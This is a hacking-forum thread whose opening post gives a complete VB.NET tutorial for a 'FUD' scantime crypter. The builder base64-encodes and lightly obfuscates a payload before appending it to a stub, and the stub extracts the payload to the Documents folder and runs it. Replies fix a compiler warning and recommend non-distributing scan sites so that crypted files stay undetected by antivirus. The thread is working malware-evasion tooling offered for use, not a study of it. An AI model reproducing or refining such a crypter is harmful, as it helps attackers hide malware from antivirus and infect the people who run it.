Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

ScanTime Crypter [ FUD ]

Hi guys ...
I created this thread to learn something together about creating a ScanTime Crypter . Scantime crypters are not very helpful because they are Undetectable just in scanning time but if it start to run the virus it will be detected ...


  1. Open Project

  2. Add 2 Open File Dialogs

  3. Add Button1 ( will use this button to open our file which we want to crypt )
    In this Button add this Code
    Code
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
          OpenFileDialog1.ShowDialog()
    End Sub

  4. Add Button2 ( will use this button to open the stub )
    Code
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
          OpenFileDialog2.ShowDialog()
    End Sub

  5. Add this function
    Code
    Public Function crp(file As String)
          Try
          Dim filesbytes As Byte() = IO.File.ReadAllBytes(file) ' Reads binary from file
          Dim base64x As String = Convert.ToBase64String(filesbytes) 'Bytes get converted to base64 string
          Dim modifiedbase64 As String = base64x.Replace("A", "$")

          Return modifiedbase64
          Catch ex As Exception

          End Try

        End Function

  6. Add Button3
    The Button3 will be used to crypt our file
    Code
    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
          Try
          SaveFileDialog1.ShowDialog()
          IO.File.Copy(OpenFileDialog2.FileName, SaveFileDialog1.FileName)

          ' this will get the name and the extension of our file ( you can use any method you want for filename
          Dim filename As String = IO.Path.GetFileName(OpenFileDialog1.FileName)

          'This code will help us for splitting our code
          Dim sep As String = "#tutorial#" ' you can write your own text

          'the content we will write to the stb ...
          Dim content As String = sep & crp(OpenFileDialog1.FileName) & sep & filename

          'writtes our file into stb ...
          IO.File.AppendAllText(SaveFileDialog1.FileName, content)
          MsgBox("done")
          Catch ex As Exception

          End Try
        End Sub

  7. Open New Project ( STUB )

  8. In Form Load Event add this code
    Code
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
          Try
          'you can choose your desired location
          Dim LOL As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)

          'will read all text of stub
          Dim bintext As String = IO.File.ReadAllText(Application.ExecutablePath)

          'will split the bintext
          Dim sep() As String = Split(bintext, "#tutorial#")

          'get the string we have written in stub
          Dim base6 As String = sep(1)

          'write the original bytes
          IO.File.WriteAllBytes(LOL & "\" & sep(2), Convert.FromBase64String(base6.Replace("$", "A")))

          'start process
          Process.Start(LOL & "\" & sep(2)) 'sep(2) is the filename

          'close after all these codes are executed
          Me.Close()
          Catch ex As Exception
          End Try
    End Sub

  9. Done



Stub Scan Results
Quote:https://www.virustotal.com/en/file/189ac...429396695/


Hope it will help someone ...
Looks nice dude

May try it out later
(Apr 18, 2015 03:47 PM)Frеsh Wrote:  Looks nice dude

May try it out later

Yeah bro i tried to make it as simple as i can ...
It Is HQ Post but mabye can help someone to get a little bit knowledge ...
I like it... But I get an error:

Code
Function 'crp' doesn't return a value on all code paths. A null reference exception could occur at run time when the result is used. C:\Users\-snip-\documents\visual studio 2013\Projects\WindowsApplication3\WindowsApplication3\Form1.vb 17 5 WindowsApplication3
(Apr 18, 2015 06:58 PM)stunk Wrote:  I like it... But I get an error:

Code
Function 'crp' doesn't return a value on all code paths. A null reference exception could occur at run time when the result is used. C:\Users\-snip-\documents\visual studio 2013\Projects\WindowsApplication3\WindowsApplication3\Form1.vb 17 5 WindowsApplication3

Not an error but a warning and its because in

Code
Try
Catch
end try

There is no error handling so if an error occurs while trying to replace the base64 text the function wont return a value

From the looks you dont really need the try catch i dont see it ever failing, but if you want to make sure it doesn't just grab the first Char of the base64 string and exchange that char with $ instead of specifically A

[Image: bitcoin.png]
1QCPKi1afC7NKmSjt7HFap8a3Ez7NeGSpq
Not bad, but hey have spent on VirusTotal ...
He will not stay much time FUD
Next time used razorscanner or another that no distributed file
Nice with the VT scan; will encourage them to refud themselves. Pretty self-explanatory, but eh.

riperino animefanerino
(Sep 12, 2016 04:11 PM){Nexus} Wrote:  If the FBI come knocking I'm gonna spew information out my ass about Aeon.

They'd have to tell me to stop giving them information.

(Apr 18, 2015 09:24 PM)Anemone¹ Wrote:  Not an error but a warning and its because in

Code
Try
Catch
end try

There is no error handling so if an error occurs while trying to replace the base64 text the function wont return a value

From the looks you dont really need the try catch i dont see it ever failing, but if you want to make sure it doesn't just grab the first Char of the base64 string and exchange that char with $ instead of specifically A
Right ... it is just a warning ...


(Apr 18, 2015 09:53 PM)Blue Eyes Wrote:  Not bad, but hey have spent on VirusTotal ...
He will not stay much time FUD
Next time used razorscanner or another that no distributed file

What is the best site to scan it ? Like VT ?
(Apr 18, 2015 11:09 PM)xeinebiu Wrote:  Right ... it is just a warning ...



What is the best site to scan it ? Like VT ?

He may have Strict compiling on which will throw errors even if they're warnings

Also the three best sites i know are:

http://www.refud.me/scan.php
http://nodistribute.com/
http://fuckingscan.me/

The only one that has a limit is no distribute which is 4 files daily others are limit-less

[Image: bitcoin.png]
1QCPKi1afC7NKmSjt7HFap8a3Ez7NeGSpq


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by VisualSoftApr 18, 2020 03:11 AM 78 13,089 Apr 18, 2020 03:11 AM
Last Post: VisualSoft
[.NET] by i-manuelJul 1, 2016 12:31 AM 19 882 Jul 1, 2016 12:31 AM
Last Post: Hopsin
[.NET] by xeinebiuJan 12, 2016 02:14 PM 14 1,534 Jan 12, 2016 02:14 PM
Last Post: xeinebiu